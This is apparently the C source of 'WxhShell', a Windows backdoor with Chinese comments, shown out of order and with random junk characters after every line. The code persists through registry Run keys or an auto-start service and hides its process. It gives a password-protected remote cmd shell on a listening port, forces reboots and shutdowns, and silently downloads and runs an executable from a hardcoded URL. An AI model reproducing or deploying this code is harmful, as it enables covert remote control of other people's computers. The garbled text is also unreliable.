    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DG4 d"Jy  
    if(Boot(SHUTDOWN)) [."[pY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `V)Z)uN{0  
    else { pa}*E  
    closesocket(wsh); Z_\C*^  
    ExitThread(0); +&zYZA8v  
    } 6v,z@!b  
    break;  ^p n(=4  
    } k = ?h~n0M  
  // 获取shell WI]o cF  
  case 's': { ^[%%r3"$C  
    CmdShell(wsh); V8eB$in  
    closesocket(wsh); ZmOfEg|h\  
    ExitThread(0); D\<y)kh  
    break; 8/)qTUx:  
  } Ii7QJ:^  
  // 退出 ["\;kJ.  
  case 'x': { +,~z Wv1v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0]D0{6x8  
    CloseIt(wsh); |ZodlYF  
    break; n wI!O  
    } ih?^t(i  
  // 离开 n|GaV  
  case 'q': { TO%dw^{_`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^(viM?*  
    closesocket(wsh); M#|dIbns H  
    WSACleanup(); GGhM;%H_99  
    exit(1); .]aF 1}AI  
    break; Hw#d_P:  
        } Sq:0w  
  } $}")1|U,X  
  } As+t##gN  
-v6M<  
  // 提示信息 NrP0Ep%V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p ?wI9GY  
} '`1CBU$  
  } 2Z20E$Cb  
42>Ge>#F  
  return; Qt]Q: 9I[  
} e #/E~r&  
8kP3+  
// shell模块句柄 &rkEK4  
int CmdShell(SOCKET sock) p4VeRJk%  
{ N'xSG`,Mg  
STARTUPINFO si; (E]!Z vE  
ZeroMemory(&si,sizeof(si)); /?'; nGq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'zh7_%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NBb6T V}j  
PROCESS_INFORMATION ProcessInfo; s,a}?W  
char cmdline[]="cmd"; ^5r9 5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sg E-`#  
  return 0; s+:=I e  
} fO#vF.k%  
LJoGpr 8  
// 自身启动模式 eAPXWWAZJ1  
int StartFromService(void) ~ ihI_q"  
{ ,vW:}&U  
typedef struct lI>SUsQFfm  
{ a<]B B$~  
  DWORD ExitStatus; *,BzcZ  
  DWORD PebBaseAddress; OT'[:|x ;  
  DWORD AffinityMask; |lv|!]qAma  
  DWORD BasePriority; XD"_Iq!  
  ULONG UniqueProcessId; G%d (  
  ULONG InheritedFromUniqueProcessId; ')GSAY7  
}   PROCESS_BASIC_INFORMATION; .f+TZDUO  
)E+'*e{cK  
PROCNTQSIP NtQueryInformationProcess; %'0T Xr$  
1>L(ul(qGF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ah~Y eJp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,^icPQSwc  
6"dD2WV/  
  HANDLE             hProcess; klUQkz |<a  
  PROCESS_BASIC_INFORMATION pbi; eW|^tH  
%4HRW;IU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'U'yC2BI n  
  if(NULL == hInst ) return 0; H4]Ul eU  
zSb PW 6U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :kfp_o+J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B:7mpSnEQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BL&LeSa  
(rg;IXAq%  
  if (!NtQueryInformationProcess) return 0; KD^N)&k^Kp  
ZoArQ(YFy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h;3cd0  
  if(!hProcess) return 0; ytNO*XoR  
&HSq(te  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vzmc}y G  
x`6<m!d`  
  CloseHandle(hProcess); ]vuwkn+)  
r_;9' #&'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /rSH"$  
if(hProcess==NULL) return 0; Ks}Xgc\  
,-z9 #t  
HMODULE hMod; :_QCfH  
char procName[255]; ^wS5>lf7p  
unsigned long cbNeeded; Is+O  
N!`e}Z6S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z3uW)GQ.  
c&L"N!4z  
  CloseHandle(hProcess); d:yqj:  
~Ch+5A;  
if(strstr(procName,"services")) return 1; // 以服务启动 *}8t{ F@k  
W0}B'VS.I  
  return 0; // 注册表启动 p uT'y  
} c_elShK8#  
MTUn3;c/  
// 主模块 6d+p7x  
int StartWxhshell(LPSTR lpCmdLine) Afk$?wkL  
{ yV^s,P1  
  SOCKET wsl; Uk\Id ~xLV  
BOOL val=TRUE; H<1WbM:w  
  int port=0; S6[v;{xJ  
  struct sockaddr_in door; xZV1k~C  
tY <Z'xA?  
  if(wscfg.ws_autoins) Install(); xC tmXo  
E }ZJ)V7  
port=atoi(lpCmdLine); A2|Ud_  
RVeEkv[qp  
if(port<=0) port=wscfg.ws_port; _/O25% l  
+k`!QM>e-  
  WSADATA data; +E1h#cc)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; : "1XPr  
+o9":dl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~,*b }O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @'GGm#<   
  door.sin_family = AF_INET; ]7e =fM9V;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hqRw^2F  
  door.sin_port = htons(port); *E{2J:`  
\_B[{e7z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %RDI!e<e}  
closesocket(wsl); Qca&E`~Q  
return 1; 7NJhRz`_  
} l<N}!lG|  
."FuwKSJCo  
  if(listen(wsl,2) == INVALID_SOCKET) { `hb%+-lj+  
closesocket(wsl); D::rGB?.b  
return 1; G\(|N9^:  
} 8(* [Fe9  
  Wxhshell(wsl); 9V5-%Iv  
  WSACleanup(); ooQQ-?"m  
NC38fiH_N  
return 0; 7.`fJf?  
db6mfx i  
} 1/"WD?a  
rdJR 2  
// 以NT服务方式启动 s-v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &?(?vDFfZ  
{ J_;o|gqX  
DWORD   status = 0; /E\%>wv  
  DWORD   specificError = 0xfffffff; _]:z \TDn  
#_u~/jhX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Hhh0T>gi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KRA/MQ^7~U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _F`lq_C  
  serviceStatus.dwWin32ExitCode     = 0; bcYF\@};  
  serviceStatus.dwServiceSpecificExitCode = 0; 6H7],aMg$A  
  serviceStatus.dwCheckPoint       = 0; 4#l o$#  
  serviceStatus.dwWaitHint       = 0; 9 yfJVg  
@mfEKU!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^f(@gS}?  
  if (hServiceStatusHandle==0) return; /Sh#_\x  
^ (FdXGs[  
status = GetLastError(); 0vw4?>Jf@  
  if (status!=NO_ERROR) lg&t8FHa;  
{ OE-gC2&Bm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &Udb9  
    serviceStatus.dwCheckPoint       = 0; =y!$/(H  
    serviceStatus.dwWaitHint       = 0; z5 YWt*nm  
    serviceStatus.dwWin32ExitCode     = status; {lc\,F*$  
    serviceStatus.dwServiceSpecificExitCode = specificError; <.? jc%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `V04\05  
    return; O`<KwUx !  
  } qXwPDq/  
r% +V8o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pS7w' H  
  serviceStatus.dwCheckPoint       = 0; Bf8jPa/  
  serviceStatus.dwWaitHint       = 0;  v%iflCK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \:UIc*S  
} ~W-PD  
Uw7h=UQh  
// 处理NT服务事件,比如:启动、停止 ~ (jKz}'~U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MpR2]k#n<  
{ lx7Q.su'  
switch(fdwControl) &:`U&06q  
{ (P:<t6;+  
case SERVICE_CONTROL_STOP: #n8IZ3+  
  serviceStatus.dwWin32ExitCode = 0; $F5 b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w}YlVete  
  serviceStatus.dwCheckPoint   = 0; Nb'''W-iu  
  serviceStatus.dwWaitHint     = 0; V]db'qB\  
  { VB*oGG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?snp8W-WB  
  } 4v{o  
  return; Sxh]R+Xb  
case SERVICE_CONTROL_PAUSE: Iepsz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jJPGrkr  
  break; jIyB  
case SERVICE_CONTROL_CONTINUE: ~S,,w1`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;   #^A*  
  break; ?BZPwGMs  
case SERVICE_CONTROL_INTERROGATE:  cHk)i  
  break; AiO$<CS  
}; ][p>Y>:b-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~XmLX)vO/  
} G VYkJ0,  
R1$:~p2m  
// 标准应用程序主函数   t!_<~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ElW~48  
{ 1^}[&ar  
|$ lM#Ua  
// 获取操作系统版本 @X;!92i  
OsIsNt=GetOsVer(); /k,-P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kZGRxp9  
DBr ZzA  
  // 从命令行安装 lSVp%0jR  
  if(strpbrk(lpCmdLine,"iI")) Install(); fO[+LR 'ax  
2`N,,  
  // 下载执行文件 I$Op:P6.E  
if(wscfg.ws_downexe) { %/zbgS`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }%{LJ}\Px  
  WinExec(wscfg.ws_filenam,SW_HIDE); TI,&!E?;  
} :Ra,Eu  
_)>_{Pm  
if(!OsIsNt) { naR0@Q"\h  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,N]H dR  
HideProc(); \=ux atw  
StartWxhshell(lpCmdLine); (G;l x  
} U`NjPZe5^  
else jk[1{I/  
  if(StartFromService()) S]Mw #O|  
  // 以服务方式启动 ?!d&E ?9\  
  StartServiceCtrlDispatcher(DispatchTable); E^/t$M|H  
else 'O_3)x5  
  // 普通方式启动 !C3MFm{B  
  StartWxhshell(lpCmdLine); |es?;s'  
#(N+(():  
return 0; D"2&P^-  
} BMG3|N^  
xg;+<iW  
YSic-6z0Ms  
DN-+osPi  
=========================================== q=Sgk>NA  
%Q fO8P  
e]$}-i@#  
sHt].gZ  
y[)>yq y  
jD<{t  
" uXJ;A *  
!h23cj+V  
#include <stdio.h> IYS)7`{]  
#include <string.h> SwTL|+u  
#include <windows.h> }J:U=HJ  
#include <winsock2.h> ,*&:2o_r  
#include <winsvc.h> _u5#v0Y  
#include <urlmon.h> $0>60<J  
%7IugHH9y  
#pragma comment (lib, "Ws2_32.lib") p93r'&Q  
#pragma comment (lib, "urlmon.lib") T?tgd J  
 #~2%)  
#define MAX_USER   100 // 最大客户端连接数 7byK{{/z  
#define BUF_SOCK   200 // sock buffer Cz\e w B  
#define KEY_BUFF   255 // 输入 buffer t(NI-UXBp  
g(qJN<R C/  
#define REBOOT     0   // 重启 jHE}qE~>5  
#define SHUTDOWN   1   // 关机 S >X:ZYYC  
M3c$=>  
#define DEF_PORT   5000 // 监听端口 e.7EU  
IEsEdw]aZE  
#define REG_LEN     16   // 注册表键长度 M/>7pZW  
#define SVC_LEN     80   // NT服务名长度 hKLCJ#T  
+./H6!  
// 从dll定义API e,vvzs o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1PQ~jfGi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nYR#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Wz49i9e+d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [q) 8N  
bMg(B-uF7  
// wxhshell配置信息 Ui_8)z _  
struct WSCFG { |ef7bKU8  
  int ws_port;         // 监听端口 eTI%^d|  
  char ws_passstr[REG_LEN]; // 口令 [!HEQ8 2g  
  int ws_autoins;       // 安装标记, 1=yes 0=no \r^qL^  
  char ws_regname[REG_LEN]; // 注册表键名 }Gz~nf%  
  char ws_svcname[REG_LEN]; // 服务名 B}Z63|/N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MDhRR*CBh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dMf:h"7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8<S~Z:JK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lYVz 3p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dx5#\"KX=,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A&.WH?p  
{5U{8b]k  
}; ([\  
0QXVW}`hz  
// default Wxhshell configuration "}u.v?HYz  
struct WSCFG wscfg={DEF_PORT, qT{U(  
    "xuhuanlingzhe", W=^#v  
    1, 0%&1\rm+j  
    "Wxhshell", @5=oeOg36  
    "Wxhshell", d6} r#\  
            "WxhShell Service", D0&,?  
    "Wrsky Windows CmdShell Service", Z0x ar]4V  
    "Please Input Your Password: ", fHE <(  
  1, *}F3M\  
  "http://www.wrsky.com/wxhshell.exe", b~KDP+Ri  
  "Wxhshell.exe" Q]Y*K  
    }; q0i(i.h  
[,t*Pfq'W8  
// 消息定义模块 gPNZF\ r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (6?9BlH~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q>_/u"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .zA^)qgL  
char *msg_ws_ext="\n\rExit."; twL3\ }N/B  
char *msg_ws_end="\n\rQuit."; <k eVrCR  
char *msg_ws_boot="\n\rReboot..."; 2h|MXI\g  
char *msg_ws_poff="\n\rShutdown..."; b#uL?f  
char *msg_ws_down="\n\rSave to "; c]x1HvPE  
<Swt);  
char *msg_ws_err="\n\rErr!"; 1-%fo~!l  
char *msg_ws_ok="\n\rOK!"; <r .)hT"0  
YIn',]p:  
char ExeFile[MAX_PATH]; Y}t \4 di  
int nUser = 0; FOv=!'S o  
HANDLE handles[MAX_USER]; kw >v:F<M  
int OsIsNt; [pC$+NX  
-[ *,^Ti`  
SERVICE_STATUS       serviceStatus; ypbe!Y<i]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9_q#W'/X  
=e/9&993  
// 函数声明 y6ECdVF  
int Install(void); YZLkL26[  
int Uninstall(void); +6sy-<ZL:  
int DownloadFile(char *sURL, SOCKET wsh); L"E7#}  
int Boot(int flag); sv: 9clJ  
void HideProc(void); s`M9    
int GetOsVer(void); ' KWyx  
int Wxhshell(SOCKET wsl); ;+W# 5<i  
void TalkWithClient(void *cs); u!!Y=!y*<  
int CmdShell(SOCKET sock); H{@Yo\J  
int StartFromService(void); #o=y?(  
int StartWxhshell(LPSTR lpCmdLine); b(*!$EB  
?x$"+,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i2@VB6]?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y~Bh  
n&{Dq}q  
// 数据结构和表定义 {'XggI%  
SERVICE_TABLE_ENTRY DispatchTable[] = R?GDJ3  
{ \kp8S'qVo  
{wscfg.ws_svcname, NTServiceMain}, 6 bomh2  
{NULL, NULL} %7"q"A r[  
}; _BM" ]t*  
n G,A@/N  
// 自我安装 > A Khf  
int Install(void) $Z!`Hb  
{ ~qcNEl\-y  
  char svExeFile[MAX_PATH]; NaPt"G  
  HKEY key; ;9[fonk  
  strcpy(svExeFile,ExeFile); <LmIK  
O}+.U<V  
// 如果是win9x系统,修改注册表设为自启动 NO~*T?&  
if(!OsIsNt) { T_i:}ul  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RTvqCp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HTVuStM8  
  RegCloseKey(key); *i\Qo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D N'3QQn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); na#CpS;pc  
  RegCloseKey(key); _g+JA3sIJ  
  return 0; Vu)4dD!  
    } |*oZ _gI  
  } ))R5(R  
} q+Lr"&'Q  
else { t|H^`Cv6  
cQ/5qg  
// 如果是NT以上系统,安装为系统服务 R{WE\T'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9*2[B"5  
if (schSCManager!=0) C\3y {s  
{ ~8~aJ^[  
  SC_HANDLE schService = CreateService {%<OD8>p  
  ( oo,uO;0G  
  schSCManager, Uo-)pFN^  
  wscfg.ws_svcname, 7R`M,u~f2^  
  wscfg.ws_svcdisp, ql<i]Y  
  SERVICE_ALL_ACCESS, cWEE%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a;rdQ>  
  SERVICE_AUTO_START, @ >d*H75  
  SERVICE_ERROR_NORMAL, >/:" D$  
  svExeFile, JI?rL  
  NULL, I, -hf=-  
  NULL, VLS0XKI)  
  NULL, ;Yx)tWQI  
  NULL, 8}c$XmCM  
  NULL ?{\nf7Y  
  ); ^$%S &W  
  if (schService!=0) M9Cv wMi  
  { ZW-yP2  
  CloseServiceHandle(schService); ]=.\-K  
  CloseServiceHandle(schSCManager); TMAJb+@l:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c]$i\i#  
  strcat(svExeFile,wscfg.ws_svcname); k >F'ypm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ao&\EcIOT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,LTH;<zB)  
  RegCloseKey(key); B.wYHNNV  
  return 0; @.osJ}FxA  
    } H9KKed47d/  
  } <:(6EKJAq}  
  CloseServiceHandle(schSCManager); $k|g"9  
} +J_c'ChN  
} 6Se?sHC>  
@En^wN  
return 1; G3{Q"^S"  
} &Flglj~7l  
e`@ # *}A  
// 自我卸载 -#0qV:D  
int Uninstall(void) kUq=5Y `D  
{ +~'865{  
  HKEY key; kv8Fko  
unshH<  
if(!OsIsNt) { `k OD[*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V7GRA#|  
  RegDeleteValue(key,wscfg.ws_regname); ^:6{22C{  
  RegCloseKey(key); @L>q (Kg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,O.3&Nz,c  
  RegDeleteValue(key,wscfg.ws_regname); m/v9!'cMI  
  RegCloseKey(key); 4S,`bnmB  
  return 0; ^cV;~&|.Xk  
  } $>*3/H  
} _Bj)r}~7#  
} `o<' x.I  
else { =2[7 E  
EzDk}uKY0R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r9X?PA0f  
if (schSCManager!=0) Ae mDJ8Y  
{ J+[_Wd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "nZ*{uv  
  if (schService!=0) wyp|qIS;  
  { 7Ok;Lt!x  
  if(DeleteService(schService)!=0) { 2}YOcnB  
  CloseServiceHandle(schService); aJYgzr,  
  CloseServiceHandle(schSCManager); z)'Mk[  
  return 0; n_$ :7J  
  } el2bd :  
  CloseServiceHandle(schService); dOqOw M.y  
  } Fp@TCPe#  
  CloseServiceHandle(schSCManager); 6^uq?  
} T^:UBjK6t{  
} &f!z1d-qg?  
bx<RV7>0  
return 1; 6WV\}d:  
} GMMp|WV|  
+ hn+K1  
// 从指定url下载文件 @b"t]#V(E  
int DownloadFile(char *sURL, SOCKET wsh) ZPiq-q  
{ }xBc0g r  
  HRESULT hr; }tsYJlh5  
char seps[]= "/"; "u6`m?  
char *token; y|CP;:f;  
char *file; EPS={w$'s  
char myURL[MAX_PATH]; W.z;B<  
char myFILE[MAX_PATH]; lCAIK  
yMyE s8  
strcpy(myURL,sURL); 7G.#O}).b  
  token=strtok(myURL,seps); *&?c(JU;<  
  while(token!=NULL) HU%o6cw  
  { K/A*<<r ~  
    file=token; Nndddk`  
  token=strtok(NULL,seps); j*F`"df  
  } gT$Ju88  
<.pU,T/  
GetCurrentDirectory(MAX_PATH,myFILE); eAX )^q  
strcat(myFILE, "\\"); [P Q?#:r  
strcat(myFILE, file); 9UKp?SIF  
  send(wsh,myFILE,strlen(myFILE),0); _$= _du  
send(wsh,"...",3,0); ()K " c#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dlJbI}-v=  
  if(hr==S_OK) )_mr! z(S  
return 0; @Gx.q&H  
else 1c<=A!"{  
return 1; ZX5xF<os8  
cs T2B[f9D  
} /GIxR6i  
^\\Tx*#i  
// 系统电源模块 GKvN* SU=  
int Boot(int flag) qY~`8 x  
{ ojQI7 Uhw  
  HANDLE hToken; H,+I2tEs  
  TOKEN_PRIVILEGES tkp; H2Z1TIh  
Sl-v W  
  if(OsIsNt) { 4Fp0ZVT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &C_' p{G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AFc$%\s4  
    tkp.PrivilegeCount = 1; 4D[ '^q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =Vy`J)z9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &8%e\W\K:/  
if(flag==REBOOT) { <,3^|$c%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %6L^2 X  
  return 0; b8LoIY*  
} fQL"O}Z  
else { 1U^A56CN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YhOlxON  
  return 0; WA]c=4S  
} ]Tkc-ez  
  } q6_u@:3u  
  else { JL\w_v  
if(flag==REBOOT) { 5m?8yT}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xqC+0{] y  
  return 0; )t$,e2FY  
} @fs`=lL/  
else { A3B56K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vk*=4}:  
  return 0; !PrwH;  
} Gp4A.\7  
} N5]0/,I}  
} b=}uiR#  
return 1; :T]o)  
} si&S%4(  
(>`5z(X  
// win9x进程隐藏模块 )Psb>'X  
void HideProc(void) %^I88,$&L  
{ ]l'Y'z,}  
cgl*t+o&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H2 $GIY  
  if ( hKernel != NULL ) %Eb%V($  
  { 1AG=%F|.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `}BF${vF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X@k`3X  
    FreeLibrary(hKernel); d+X}cq=  
  } Kw8u`$Ad7  
mN!lo;m5  
return; @O@GRq&V  
} z"+Mrew  
]wKzE4Z/  
// 获取操作系统版本 "I=\[l8t  
int GetOsVer(void) t5'V6nv  
{ Nluv/?<  
  OSVERSIONINFO winfo; pGf@z:^{*-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {e+-vl  
  GetVersionEx(&winfo); v2H#=E4cZ#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TF 'U  
  return 1; <$F\Nk|x  
  else yY[<0|o u  
  return 0; fv`O4  
} 87:!C5e}  
5B&;uY  
// 客户端句柄模块 C?i >.t  
int Wxhshell(SOCKET wsl) D\[h:8k  
{ ~er\~kp  
  SOCKET wsh; :>TEDy~O%  
  struct sockaddr_in client; &v"3*.org@  
  DWORD myID; VH=S?_RY>  
PH> b-n  
  while(nUser<MAX_USER) Zs}5Smjl;%  
{ AX= 1b,s  
  int nSize=sizeof(client); ax{ ;:fW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y$Q|J4z  
  if(wsh==INVALID_SOCKET) return 1; y`$Q \}fS  
br0++}vwL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~=KJzOS,S  
if(handles[nUser]==0) zN{K5<7o  
  closesocket(wsh); n>A98NQ  
else 2Fz|fW_  
  nUser++; lY{FSGp  
  } (tCUlX2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vfl5Mx4  
#% of;mJv  
  return 0; Ya;9]k8,  
} 6I!7c^]t  
^bc;[x&N  
// 关闭 socket c%[#~;E  
void CloseIt(SOCKET wsh) KN?6;G{  
{  ;zYqsS  
closesocket(wsh); a)S+8uU  
nUser--; )13dn]o=2  
ExitThread(0); D K=cVpN%s  
} BCe|is0  
&Ch#-CUE/  
// 客户端请求句柄 jL^](J>  
void TalkWithClient(void *cs) FL8g5I  
{ - !>}_AH  
Ov UI@,Ef  
  SOCKET wsh=(SOCKET)cs; 'yV?*a  
  char pwd[SVC_LEN]; b8%C *r7  
  char cmd[KEY_BUFF]; WBNw~|DO]  
char chr[1]; >0dv+8Mn  
int i,j; M/q E2L[y  
^{xeij/  
  while (nUser < MAX_USER) { Pl<; [cB  
u{FDdR9<  
if(wscfg.ws_passstr) { E[O<S B I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n @?4b8"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _:X|.W  
  //ZeroMemory(pwd,KEY_BUFF); p|Q*5TO  
      i=0; !<UJ6t}  
  while(i<SVC_LEN) { 7C$ 5  
cZ(elZ0~  
  // 设置超时 ZkIgL  
  fd_set FdRead; f)g7 3=  
  struct timeval TimeOut; -AhwI  
  FD_ZERO(&FdRead); t\RF=BbJJ  
  FD_SET(wsh,&FdRead); B%KG3]  
  TimeOut.tv_sec=8; 6<N5_1  
  TimeOut.tv_usec=0; ?W( 6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K]U;?h&CZc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M.nvB)  
RGn!{=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z0`T\ay  
  pwd=chr[0]; ;L|uIg;.s  
  if(chr[0]==0xd || chr[0]==0xa) { } g3+{\x8  
  pwd=0; 2_ :n  
  break;  P\]B<  
  } 70lfb`  
  i++; U,+[5sbo  
    } v^ /Q 8Q  
`Pw*_2  
  // 如果是非法用户,关闭 socket 3SSm5{197  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .e'eE  
} 6Z`R#d #I  
Cn>ADWpT&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k ^ YO%_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <,AS8^$X[  
*]h`KxuO  
while(1) { }hYZ" A~  
$ ''9K  
  ZeroMemory(cmd,KEY_BUFF); +rIL|c}J  
`;YU.*  
      // 自动支持客户端 telnet标准   (ZL sB{r^  
  j=0; A>[|g`;t  
  while(j<KEY_BUFF) { a6:x"Tv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +4\U)Z/\  
  cmd[j]=chr[0]; \o\nr!=k  
  if(chr[0]==0xa || chr[0]==0xd) { >XOiu#kC  
  cmd[j]=0; U|HB=BP  
  break; >6oOZbUY0  
  } |A%<Z(  
  j++; :QWq"cBem  
    }  J*l4|^i<  
H33i*][H  
  // 下载文件 Ne $"g[uFU  
  if(strstr(cmd,"http://")) { ?=VOD#)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p~.8\bI=  
  if(DownloadFile(cmd,wsh)) hoT/KWD,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U:MPgtwe  
  else G60R9y47c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); or k=`};  
  } cpt<WK}  
  else { __[xD\ES  
PyA&ZkX>  
    switch(cmd[0]) { zZiJ 9 e  
  m=Q[\.Ra  
